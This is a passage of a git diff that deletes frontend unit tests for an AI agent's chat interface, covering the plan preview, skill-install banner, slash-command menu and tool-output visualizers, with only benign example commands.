expect(entry.status).toBe("error"); - expect(entry.errorMessage).toBe("still broken"); - }); - }); -}); diff --git a/__tests__/components/features/chat/plan-preview.test.tsx b/__tests__/components/features/chat/plan-preview.test.tsx deleted file mode 100644 index 6af94df2d..000000000 --- a/__tests__/components/features/chat/plan-preview.test.tsx +++ /dev/null @@ -1,427 +0,0 @@ -import React from "react"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import { PlanPreview } from "#/components/features/chat/plan-preview"; -import { ScrollProvider } from "#/context/scroll-context"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { createChatMessage } from "#/services/chat-service"; - -// PlanPreview uses useScrollContext; wrap with ScrollProvider and a mock value. -const mockScrollDomToBottom = vi.fn(); -const scrollContextValue = { - scrollRef: { current: null }, - autoScroll: true, - setAutoScroll: vi.fn(), - scrollDomToBottom: mockScrollDomToBottom, - hitBottom: true, - setHitBottom: vi.fn(), - onChatBodyScroll: vi.fn(), -}; - -function renderPlanPreview(ui: React.ReactElement) { - return renderWithProviders( - {ui}, - ); -} - -// Mock i18n - need to preserve initReactI18next and I18nextProvider for test-utils -vi.mock("react-i18next", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - useTranslation: () => ({ - t: (key: string) => key, - }), - }; -}); - -// Mock services (underlying dependencies of the hook) -const mockSend = vi.fn().mockResolvedValue({ queued: false }); - -vi.mock("#/hooks/use-send-message", () => ({ - useSendMessage: vi.fn(() => ({ - send: mockSend, - })), -})); - -vi.mock("#/services/chat-service", () => ({ - createChatMessage: vi.fn((content, imageUrls, fileUrls, timestamp) => ({ - action: "message", - args: { content, image_urls: imageUrls, file_urls: fileUrls, timestamp }, - })), -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "test-conversation-id" }), - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -describe("PlanPreview", () => { - beforeEach(() => { - vi.clearAllMocks(); - mockSend.mockResolvedValue({ queued: false }); - // Reset store states - localStorage.clear(); - useOptimisticUserMessageStore.setState({ - pendingMessages: [], - }); - useConversationStore.setState({ - conversationMode: "plan", - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - // Clean up store states - useConversationStore.setState({ - conversationMode: "code", - }); - useOptimisticUserMessageStore.setState({ - pendingMessages: [], - }); - localStorage.clear(); - }); - - it("should render nothing when planContent is null", () => { - // Arrange & Act - const { container } = renderPlanPreview(); - - // Assert - expect(container.firstChild).toBeNull(); - }); - - it("should render nothing when planContent is undefined", () => { - // Arrange & Act - const { container } = renderPlanPreview( - , - ); - - // Assert - expect(container.firstChild).toBeNull(); - }); - - it("should render markdown content when planContent is provided", () => { - const planContent = "# Plan Title\n\nThis is the plan content."; - - const { container } = renderPlanPreview( - , - ); - - // Check that component rendered and contains the content (markdown may break up text) - expect(container.firstChild).not.toBeNull(); - expect(container.textContent).toContain("Plan Title"); - expect(container.textContent).toContain("This is the plan content."); - }); - - it("should render full content when length is less than or equal to 300 characters", () => { - const planContent = "A".repeat(300); - - const { container } = renderPlanPreview( - , - ); - - // Content should be present (may be broken up by markdown) - expect(container.textContent).toContain(planContent); - expect(screen.queryByText(/COMMON\$READ_MORE/i)).not.toBeInTheDocument(); - }); - - it("should truncate content when length exceeds 300 characters", () => { - const longContent = "A".repeat(350); - - const { container } = renderPlanPreview( - , - ); - - // Truncated content should be present (may be broken up by markdown) - expect(container.textContent).toContain("A".repeat(300)); - expect(container.textContent).toContain("..."); - expect(container.textContent).toContain("COMMON$READ_MORE"); - }); - - it("should render Build button", () => { - renderPlanPreview(); - - const buildButton = screen.getByTestId("plan-preview-build-button"); - expect(buildButton).toBeInTheDocument(); - }); - - it("should switch to code mode when Build button is clicked", async () => { - // Arrange - useConversationStore.setState({ conversationMode: "plan" }); - const user = userEvent.setup(); - renderPlanPreview(); - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Act - await user.click(buildButton); - - // Assert - expect(useConversationStore.getState().conversationMode).toBe("code"); - }); - - it("should send build prompt message when Build button is clicked", async () => { - // Arrange - const user = userEvent.setup(); - const expectedPrompt = - "Execute the plan based on the .agents_tmp/PLAN.md file."; - renderPlanPreview(); - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Act - await user.click(buildButton); - - // Assert - expect(createChatMessage).toHaveBeenCalledTimes(1); - expect(createChatMessage).toHaveBeenCalledWith( - expectedPrompt, - [], - [], - expect.any(String), - ); - expect(mockSend).toHaveBeenCalledTimes(1); - expect(mockSend).toHaveBeenCalledWith( - expect.objectContaining({ - action: "message", - args: expect.objectContaining({ - content: expectedPrompt, - }), - }), - ); - }); - - it("should enqueue a pending user message when Build button is clicked", async () => { - // Arrange - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - const user = userEvent.setup(); - const expectedPrompt = - "Execute the plan based on the .agents_tmp/PLAN.md file."; - renderPlanPreview(); - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Act - await user.click(buildButton); - - // Assert - const pending = - useOptimisticUserMessageStore.getState().pendingMessages; - expect(pending).toHaveLength(1); - expect(pending[0].text).toBe(expectedPrompt); - expect(pending[0].status).toBe("sending"); - }); - - it("should disable Build button when isBuildDisabled is true", () => { - // Arrange - renderPlanPreview( - , - ); - - // Act - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Assert - expect(buildButton).toBeDisabled(); - }); - - it("should not disable Build button when isBuildDisabled is false", () => { - // Arrange - renderPlanPreview( - , - ); - - // Act - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Assert - expect(buildButton).not.toBeDisabled(); - }); - - it("should not disable Build button when isBuildDisabled is undefined", () => { - // Arrange - renderPlanPreview(); - - // Act - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Assert - expect(buildButton).not.toBeDisabled(); - }); - - it("should not call onBuildClick when Build button is disabled and clicked", async () => { - // Arrange - const user = userEvent.setup(); - const onBuildClick = vi.fn(); - - renderPlanPreview( - , - ); - - const buildButton = screen.getByTestId("plan-preview-build-button"); - - // Act - await user.click(buildButton); - - // Assert - expect(onBuildClick).not.toHaveBeenCalled(); - }); - - it("should render header with PLAN_MD text", () => { - const { container } = renderPlanPreview( - , - ); - - // Check that the translation key is rendered (i18n mock returns the key) - expect(container.textContent).toContain("COMMON$PLAN_MD"); - }); - - it("should render plan content", () => { - const planContent = `# Heading 1 -## Heading 2 -- List item 1 -- List item 2 - -**Bold text** and *italic text*`; - - const { container } = renderPlanPreview( - , - ); - - expect(container.textContent).toContain("Heading 1"); - expect(container.textContent).toContain("Heading 2"); - }); - - it("should use planHeadings components for h1 headings", () => { - // Arrange - const planContent = "# Main Title"; - - // Act - const { container } = renderPlanPreview( - , - ); - - // Assert - const h1 = container.querySelector("h1"); - expect(h1).toBeInTheDocument(); - expect(h1).toHaveTextContent("Main Title"); - }); - - it("should use planHeadings components for h2 headings", () => { - // Arrange - const planContent = "## Section Title"; - - // Act - const { container } = renderPlanPreview( - , - ); - - // Assert - const h2 = container.querySelector("h2"); - expect(h2).toBeInTheDocument(); - expect(h2).toHaveTextContent("Section Title"); - }); - - it("should use planHeadings components for h3 headings", () => { - // Arrange - const planContent = "### Subsection Title"; - - // Act - const { container } = renderPlanPreview( - , - ); - - // Assert - const h3 = container.querySelector("h3"); - expect(h3).toBeInTheDocument(); - expect(h3).toHaveTextContent("Subsection Title"); - }); - - it("should use planHeadings components for all heading levels", () => { - // Arrange - const planContent = `# H1 Title -## H2 Title -### H3 Title -#### H4 Title -##### H5 Title -###### H6 Title`; - - // Act - const { container } = renderPlanPreview( - , - ); - - // Assert - expect(container.querySelector("h1")).toBeInTheDocument(); - expect(container.querySelector("h2")).toBeInTheDocument(); - expect(container.querySelector("h3")).toBeInTheDocument(); - expect(container.querySelector("h4")).toBeInTheDocument(); - expect(container.querySelector("h5")).toBeInTheDocument(); - expect(container.querySelector("h6")).toBeInTheDocument(); - }); - - it("should call selectTab with 'planner' when View button is clicked", async () => { - const user = userEvent.setup(); - const planContent = "Plan content"; - const conversationId = "test-conversation-id"; - - // Arrange: Set up initial state - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - renderPlanPreview(); - - // Act: Click the View button - const viewButton = screen.getByTestId("plan-preview-view-button"); - await user.click(viewButton); - - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. - expect(useConversationStore.getState().selectedTab).toBe("planner"); - expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${conversationId}`)!, - ); - expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); - }); - - it("should call selectTab with 'planner' when Read more button is clicked", async () => { - const user = userEvent.setup(); - const longContent = "A".repeat(350); - const conversationId = "test-conversation-id"; - - // Arrange: Set up initial state - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - renderPlanPreview(); - - // Act: Click the Read more button - const readMoreButton = screen.getByTestId("plan-preview-read-more-button"); - await user.click(readMoreButton); - - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. - expect(useConversationStore.getState().selectedTab).toBe("planner"); - expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${conversationId}`)!, - ); - expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); - }); -}); diff --git a/__tests__/components/features/chat/skill-install-restart-banner.test.tsx b/__tests__/components/features/chat/skill-install-restart-banner.test.tsx deleted file mode 100644 index de4c36f2e..000000000 --- a/__tests__/components/features/chat/skill-install-restart-banner.test.tsx +++ /dev/null @@ -1,185 +0,0 @@ -import { act, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { SkillInstallRestartBanner } from "#/components/features/chat/skill-install-restart-banner"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useEventStore } from "#/stores/use-event-store"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import type { - CmdOutputMetadata, - ExecuteBashObservation, - ObservationEvent, -} from "#/types/agent-server/core"; - -// The restart mutation resolves the launch profile through these services -// before creating the conversation; stub them so it deterministically takes -// the legacy agent_settings path (their absence is a supported fallback). -vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({ - __esModule: true, - default: { listProfiles: vi.fn().mockRejectedValue(new Error("n/a")) }, - WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default", -})); -vi.mock("#/api/profiles-service/profiles-service.api", () => ({ - __esModule: true, - default: { - listProfiles: vi - .fn() - .mockResolvedValue({ profiles: [], active_profile: null }), - }, -})); -vi.mock("#/api/plugins-management-service", () => ({ - __esModule: true, - default: { listInstalledPlugins: vi.fn().mockResolvedValue([]) }, -})); - -const CONVERSATION_ID = "test-conversation-id"; - -const makeInstallEvent = ( - id: string, - skill = "codereview", - workspace = "/tmp/demo-ws", -): ObservationEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "execute_bash", - tool_call_id: `call-${id}`, - action_id: `action-${id}`, - observation: { - kind: "ExecuteBashObservation", - content: [ - { - type: "text", - text: `✅ Successfully installed '${skill}' to ${workspace}/.agents/skills/${skill}`, - }, - ], - command: "python3 fetch_skill.py", - exit_code: 0, - error: false, - timeout: false, - metadata: {} as CmdOutputMetadata, - }, -}); - -const addInstallEvent = (id: string) => - act(() => { - useEventStore.getState().addEvent(makeInstallEvent(id)); - }); - -const renderBanner = () => - renderWithProviders( - , - ); - -describe("SkillInstallRestartBanner", () => { - beforeEach(() => { - // Load the conversation into the (global) event store so installs are - // attributed to the rendered conversation. - useEventStore.getState().clearEventsForConversation(CONVERSATION_ID); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("renders nothing when the conversation has no skill installs", () => { - renderBanner(); - - expect( - screen.queryByTestId("skill-install-restart-banner"), - ).not.toBeInTheDocument(); - }); - - it("shows the banner after a successful skill install observation", async () => { - renderBanner(); - - addInstallEvent("evt-1"); - - expect( - await screen.findByTestId("skill-install-restart-banner"), - ).toBeInTheDocument(); - }); - - it("hides the banner when dismissed", async () => { - renderBanner(); - addInstallEvent("evt-1"); - await screen.findByTestId("skill-install-restart-banner"); - - await userEvent.click(screen.getByTestId("skill-install-restart-dismiss")); - - expect( - screen.queryByTestId("skill-install-restart-banner"), - ).not.toBeInTheDocument(); - }); - - it("resurfaces the banner when a new install happens after a dismissal", async () => { - renderBanner(); - addInstallEvent("evt-1"); - await screen.findByTestId("skill-install-restart-banner"); - await userEvent.click(screen.getByTestId("skill-install-restart-dismiss")); - - addInstallEvent("evt-2"); - - expect( - await screen.findByTestId("skill-install-restart-banner"), - ).toBeInTheDocument(); - }); - - it("renders nothing on a cloud backend", () => { - setRegisteredBackends([ - { - id: "cloud-1", - name: "Cloud", - host: "https://app.all-hands.dev", - apiKey: "key", - kind: "cloud", - }, - ]); - setActiveSelection({ backendId: "cloud-1" }); - renderWithProviders( - - - , - ); - - addInstallEvent("evt-1"); - - expect( - screen.queryByTestId("skill-install-restart-banner"), - ).not.toBeInTheDocument(); - }); - - it("starts a new conversation in the install workspace and navigates to it", async () => { - const createConversationSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue({ - id: "task-1", - app_conversation_id: "new-conv-1", - agent_server_url: null, - } as never); - const navigate = vi.fn(); - renderWithProviders( - , - { navigation: { navigate } }, - ); - addInstallEvent("evt-1"); - await screen.findByTestId("skill-install-restart-banner"); - - await userEvent.click(screen.getByTestId("skill-install-restart-action")); - - await waitFor(() => { - const call = createConversationSpy.mock.lastCall; - // Positional contract of createConversation: workingDir is #5 and - // workspaceMode #6 — the parsed install root, reused directly. - expect(call?.[4]).toBe("/tmp/demo-ws"); - expect(call?.[5]).toBe("local_repo"); - expect(navigate).toHaveBeenCalledWith("/conversations/new-conv-1"); - }); - }); -}); diff --git a/__tests__/components/features/chat/slash-command-menu.test.tsx b/__tests__/components/features/chat/slash-command-menu.test.tsx deleted file mode 100644 index 461a78735..000000000 --- a/__tests__/components/features/chat/slash-command-menu.test.tsx +++ /dev/null @@ -1,226 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi, beforeAll } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { - SlashCommandMenu, - getSkillDescription, - stripMarkdown, -} from "#/components/features/chat/components/slash-command-menu"; -import { SlashCommandItem } from "#/hooks/chat/use-slash-command"; - -// jsdom does not implement scrollIntoView -beforeAll(() => { - Element.prototype.scrollIntoView = vi.fn(); -}); - -const makeItem = ( - name: string, - command: string, - content: string = "", -): SlashCommandItem => ({ - skill: { - name, - type: "agentskills" as const, - content, - triggers: [command], - }, - command, -}); - -const defaultItems: SlashCommandItem[] = [ - makeItem("code-search", "/code-search", "Search code semantically."), - makeItem("random-number", "/random-number", "Generate a random number."), - makeItem( - "init", - "/init", - "---\nname: init\ndescription: Initialize a project\n---\n## Usage\nRun /init to start.", - ), -]; - -describe("SlashCommandMenu", () => { - it("renders nothing when items is empty", () => { - const { container } = renderWithProviders( - , - ); - expect(container.innerHTML).toBe(""); - }); - - it("renders all items with slash commands as primary text", () => { - renderWithProviders( - , - ); - - expect(screen.getByText("/code-search")).toBeInTheDocument(); - expect(screen.getByText("/random-number")).toBeInTheDocument(); - expect(screen.getByText("/init")).toBeInTheDocument(); - }); - - it("marks the selected item with aria-selected", () => { - renderWithProviders( - , - ); - - const options = screen.getAllByRole("option"); - expect(options[0]).toHaveAttribute("aria-selected", "false"); - expect(options[1]).toHaveAttribute("aria-selected", "true"); - expect(options[2]).toHaveAttribute("aria-selected", "false"); - }); - - it("calls onSelect on mouseDown", async () => { - const onSelect = vi.fn(); - const user = userEvent.setup(); - - renderWithProviders( - , - ); - - const options = screen.getAllByRole("option"); - await user.click(options[1]); - - expect(onSelect).toHaveBeenCalledWith(defaultItems[1]); - }); - - it("displays skill descriptions", () => { - renderWithProviders( - , - ); - - // First item: first-sentence extraction - expect(screen.getByText("Search code semantically.")).toBeInTheDocument(); - - // Third item: frontmatter description extraction - expect(screen.getByText("Initialize a project")).toBeInTheDocument(); - }); - - it("has an accessible listbox role and translated aria-label", () => { - renderWithProviders( - , - ); - - const listbox = screen.getByRole("listbox"); - expect(listbox).toBeInTheDocument(); - // In test env, translation key is returned as-is - expect(listbox).toHaveAttribute("aria-label", "CHAT_INTERFACE$COMMANDS"); - }); -}); - -describe("getSkillDescription", () => { - it("extracts description from YAML frontmatter", () => { - const content = - "---\nname: test\ndescription: A test skill\n---\n## Usage\nDetails here."; - expect(getSkillDescription(content)).toBe("A test skill"); - }); - - it("strips double quotes from frontmatter description", () => { - const content = '---\ndescription: "Quoted description"\n---\nBody.'; - expect(getSkillDescription(content)).toBe("Quoted description"); - }); - - it("strips single quotes from frontmatter description", () => { - const content = "---\ndescription: 'Single quoted'\n---\nBody."; - expect(getSkillDescription(content)).toBe("Single quoted"); - }); - - it("falls back to first meaningful line when no frontmatter", () => { - const content = "# Title\n\nThis is a description."; - expect(getSkillDescription(content)).toBe("This is a description."); - }); - - it("falls back to first sentence from body when frontmatter has no description", () => { - const content = - "---\nname: test\ntriggers: ['/test']\n---\nA helpful tool. It does things."; - expect(getSkillDescription(content)).toBe("A helpful tool."); - }); - - it("skips headers and empty lines", () => { - const content = "\n\n# Header\n## Subheader\n\nActual content here"; - expect(getSkillDescription(content)).toBe("Actual content here"); - }); - - it("returns null for empty content", () => { - expect(getSkillDescription("")).toBeNull(); - }); - - it("returns null for content with only headers", () => { - expect(getSkillDescription("# Title\n## Subtitle")).toBeNull(); - }); - - it("returns the whole line when there is no sentence-ending punctuation", () => { - const content = "A description without punctuation"; - expect(getSkillDescription(content)).toBe( - "A description without punctuation", - ); - }); - - it("strips markdown from frontmatter description", () => { - const content = - '---\ndescription: "A **bold** and *italic* description"\n---\nBody.'; - expect(getSkillDescription(content)).toBe( - "A bold and italic description", - ); - }); - - it("strips markdown from body fallback", () => { - const content = "# Title\n\nUse `code` and [links](http://example.com)."; - expect(getSkillDescription(content)).toBe("Use code and links."); - }); -}); - -describe("stripMarkdown", () => { - it("strips bold syntax", () => { - expect(stripMarkdown("a **bold** word")).toBe("a bold word"); - }); - - it("strips italic syntax", () => { - expect(stripMarkdown("an *italic* word")).toBe("an italic word"); - }); - - it("strips bold-italic syntax", () => { - expect(stripMarkdown("***both***")).toBe("both"); - }); - - it("strips inline code", () => { - expect(stripMarkdown("run `npm test` now")).toBe("run npm test now"); - }); - - it("strips links", () => { - expect(stripMarkdown("see [docs](http://example.com)")).toBe("see docs"); - }); - - it("strips images", () => { - expect(stripMarkdown("![alt text](image.png)")).toBe("alt text"); - }); - - it("strips strikethrough", () => { - expect(stripMarkdown("~~removed~~")).toBe("removed"); - }); - - it("strips underscore emphasis", () => { - expect(stripMarkdown("__bold__ and _italic_")).toBe("bold and italic"); - }); - - it("returns plain text unchanged", () => { - expect(stripMarkdown("plain text")).toBe("plain text"); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx b/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx deleted file mode 100644 index 61138d058..000000000 --- a/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx +++ /dev/null @@ -1,98 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { SecurityRisk } from "#/types/agent-server/core"; -import { bashVisualizer } from "#/components/features/chat/tool-visualizers/bash/bash"; -import { MAX_CONTENT_LENGTH } from "#/components/conversation-events/chat/event-content-helpers/shared"; -import { - renderVisualizer, - bashAction, - bashObservation, - terminalObservation, -} from "../test-utils"; - -const Body = bashVisualizer.Body; - -describe("bashVisualizer", () => { - it("renders the command in the action card", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("echo hello"); - }); - - it("warns about high-risk actions", () => { - renderVisualizer( - , - ); - expect(screen.getByText("SECURITY$HIGH_RISK")).toBeInTheDocument(); - }); - - it("shows output without an exit badge on success", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("hello world"); - expect(screen.queryByText("OBSERVATION$EXIT_CODE")).not.toBeInTheDocument(); - }); - - it("badges a non-zero exit code (error state)", () => { - renderVisualizer(); - expect(screen.getByText("OBSERVATION$EXIT_CODE")).toBeInTheDocument(); - expect(screen.getByText("boom")).toBeInTheDocument(); - }); - - it("shows a placeholder when there is no output", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("OBSERVATION$COMMAND_NO_OUTPUT"); - }); - - it("exposes a copy button for the command and the output", () => { - renderVisualizer( - , - ); - // One for the command code block, one for the output pane. - expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(2); - }); - - it("has no copy button when there is no output to copy", () => { - renderVisualizer(); - // Only the command's copy button remains. - expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(1); - }); - - it("expands long command output inline", async () => { - const user = userEvent.setup(); - const longOutput = `${"a".repeat(MAX_CONTENT_LENGTH)}tail-marker`; - const { container } = renderVisualizer( - , - ); - - expect(container).not.toHaveTextContent("tail-marker"); - - await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" })); - - expect(container).toHaveTextContent("tail-marker"); - expect( - screen.getByRole("button", { name: "BUTTON$COLLAPSE" }), - ).toBeInTheDocument(); - - await user.click(screen.getByRole("button", { name: "BUTTON$COLLAPSE" })); - - expect(container).not.toHaveTextContent("tail-marker"); - }); - - it("renders command and output for the terminal tool", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("wc -l"); - expect(container).toHaveTextContent("362 index.html"); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx b/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx deleted file mode 100644 index 5ce20c529..000000000 --- a/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx +++ /dev/null @@ -1,41 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { ActionEvent, SecurityRisk } from "#/types/agent-server/core"; -import { resolveVisualizerBody } from "#/components/features/chat/tool-visualizers/dispatcher"; -import { bashAction, grepObservation, terminalObservation } from "./test-utils"; - -describe("resolveVisualizerBody", () => { - it("returns a body for a migrated action kind", () => { - expect(resolveVisualizerBody(bashAction("ls"))).not.toBeNull(); - }); - - it("returns a body for a migrated observation kind", () => { - expect( - resolveVisualizerBody(grepObservation({ pattern: "x" })), - ).not.toBeNull(); - }); - - it("returns a body for the terminal tool (shares the bash visualizer)", () => { - expect(resolveVisualizerBody(terminalObservation("ok", 0))).not.toBeNull(); - }); - - it("returns null for an unmigrated tool so the markdown fallback runs", () => { - const thinkAction: ActionEvent = { - id: "t1", - timestamp: "2024-01-01T00:00:00Z", - source: "agent", - thought: [], - thinking_blocks: [], - action: { kind: "ThinkAction", thought: "hmm" }, - tool_name: "think", - tool_call_id: "c1", - tool_call: { - id: "c1", - type: "function", - function: { name: "think", arguments: "{}" }, - }, - llm_response_id: "r1", - security_risk: SecurityRisk.LOW, - }; - expect(resolveVisualizerBody(thinkAction)).toBeNull(); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx b/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx deleted file mode 100644 index bd914affd..000000000 --- a/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx +++ /dev/null @@ -1,142 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { screen } from "@testing-library/react"; -import { fileEditorVisualizer } from "#/components/features/chat/tool-visualizers/file-editor/file-editor"; -import { - renderVisualizer, - fileEditorAction, - fileEditorObservation, -} from "../test-utils"; - -const Body = fileEditorVisualizer.Body; - -describe("fileEditorVisualizer", () => { - it("shows path and content for a create action", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("/workspace/app.ts"); - expect(container).toHaveTextContent("const x = 1;"); - }); - - it("shows the path with a line range for a view action", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("/workspace/app.ts:1-10"); - }); - - it("shows the file snippet the agent saw for a view observation", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("const x = 1;"); - }); - - it("renders a diff for an edit observation", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("- OLD"); - expect(container).toHaveTextContent("+ NEW"); - }); - - it("renders a diff when clearing a file (new_content is an empty string)", () => { - const { container } = renderVisualizer( - , - ); - // The empty `new_content` must not short-circuit the diff to the fallback. - expect(container).toHaveTextContent("- keep"); - expect(container).toHaveTextContent("- remove me"); - }); - - it("renders a diff when inserting into an empty file (old_content is an empty string)", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("+ first line"); - expect(container).toHaveTextContent("+ second line"); - }); - - it("renders the inserted text for an in-flight insert action (no old_str)", () => { - const { container } = renderVisualizer( - , - ); - // Inserts carry `new_str` only; the card must show it, not just the path. - expect(container).toHaveTextContent("/workspace/app.ts"); - expect(container).toHaveTextContent("+ inserted line"); - }); - - it("renders a diff for an in-flight str_replace action", () => { - const { container } = renderVisualizer( - , - ); - expect(container).toHaveTextContent("- OLD"); - expect(container).toHaveTextContent("+ NEW"); - }); - - it("renders the error message for a failed edit (error state)", () => { - renderVisualizer( - , - ); - expect(screen.getByText("No replacement performed")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx b/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx deleted file mode 100644 index 2ce1e3ab1..000000000 --- a/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx +++ /dev/null @@ -1,71 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { screen } from "@testing-library/react"; -import { searchVisualizer } from "#/components/features/chat/tool-visualizers/search/search"; -import { - renderVisualizer, - grepAction, - grepObservation, - globObservation, -} from "../test-utils"; - -const Body = searchVisualizer.Body; - -describe("searchVisualizer", () => { - it("shows search params on the action card", () => { - const { container } = renderVisualizer( - , - ); - expect(screen.getByText("COMMON$PATTERN")).toBeInTheDocument(); - expect(container).toHaveTextContent("TODO"); - expect(container).toHaveTextContent("*.ts"); - }); - - it("lists matches with a count for a grep observation", () => { - renderVisualizer( - , - ); - expect(screen.getByText("COMMON$RESULTS")).toBeInTheDocument(); - expect(screen.getByText("a.ts")).toBeInTheDocument(); - expect(screen.getByText("b.ts")).toBeInTheDocument(); - }); - - it("shows a no-results message when empty", () => { - renderVisualizer( - , - ); - expect(screen.getByText("COMMON$NO_RESULTS")).toBeInTheDocument(); - }); - - it("renders the error text when the search failed (error state)", () => { - renderVisualizer( - , - ); - expect(screen.getByText("invalid regex")).toBeInTheDocument(); - }); - - it("flags truncated glob results", () => { - renderVisualizer( - , - ); - expect(screen.getByText("COMMON$TRUNCATED")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx b/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx deleted file mode 100644 index e9d1e2cee..000000000 --- a/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx +++ /dev/null @@ -1,92 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { screen } from "@testing-library/react"; -import { taskVisualizer } from "#/components/features/chat/tool-visualizers/task/task"; -import { renderVisualizer, taskAction, taskObservation } from "../test-utils"; - -const Body = taskVisualizer.Body; - -describe("taskVisualizer", () => { - it("shows the subagent and query while the observation is pending", () => { - renderVisualizer( - , - ); - // Subagent comes from the action; no task id / result yet. - expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument(); - expect(screen.getByText("code-explorer")).toBeInTheDocument(); - expect(screen.getByText("TASK$QUERY")).toBeInTheDocument(); - expect(screen.getByText("Summarize the README")).toBeInTheDocument(); - expect(screen.queryByText("TASK$TASK_ID")).not.toBeInTheDocument(); - expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument(); - }); - - it("keeps showing the query alongside the result once both are present", () => { - renderVisualizer( - , - ); - expect(screen.getByText("TASK$QUERY")).toBeInTheDocument(); - expect(screen.getByText("Summarize the README")).toBeInTheDocument(); - expect(screen.getByText("TASK$RESULT")).toBeInTheDocument(); - expect(screen.getByText("All done.")).toBeInTheDocument(); - }); - - it("shows the subagent and task id", () => { - renderVisualizer( - , - ); - expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument(); - expect(screen.getByText("code-explorer")).toBeInTheDocument(); - expect(screen.getByText("TASK$TASK_ID")).toBeInTheDocument(); - expect(screen.getByText("task_00000001")).toBeInTheDocument(); - }); - - it("renders the answer as formatted markdown", () => { - const { container } = renderVisualizer( - , - ); - expect(screen.getByText("TASK$RESULT")).toBeInTheDocument(); - // Markdown headings render as real heading elements, not raw "## ..." text. - const heading = container.querySelector("h2"); - expect(heading).toHaveTextContent("README Summary"); - expect(container).toHaveTextContent("Licensed under Apache."); - }); - - it("omits the result section when there is no text content", () => { - renderVisualizer(); - expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument(); - }); - - it("exposes a copy 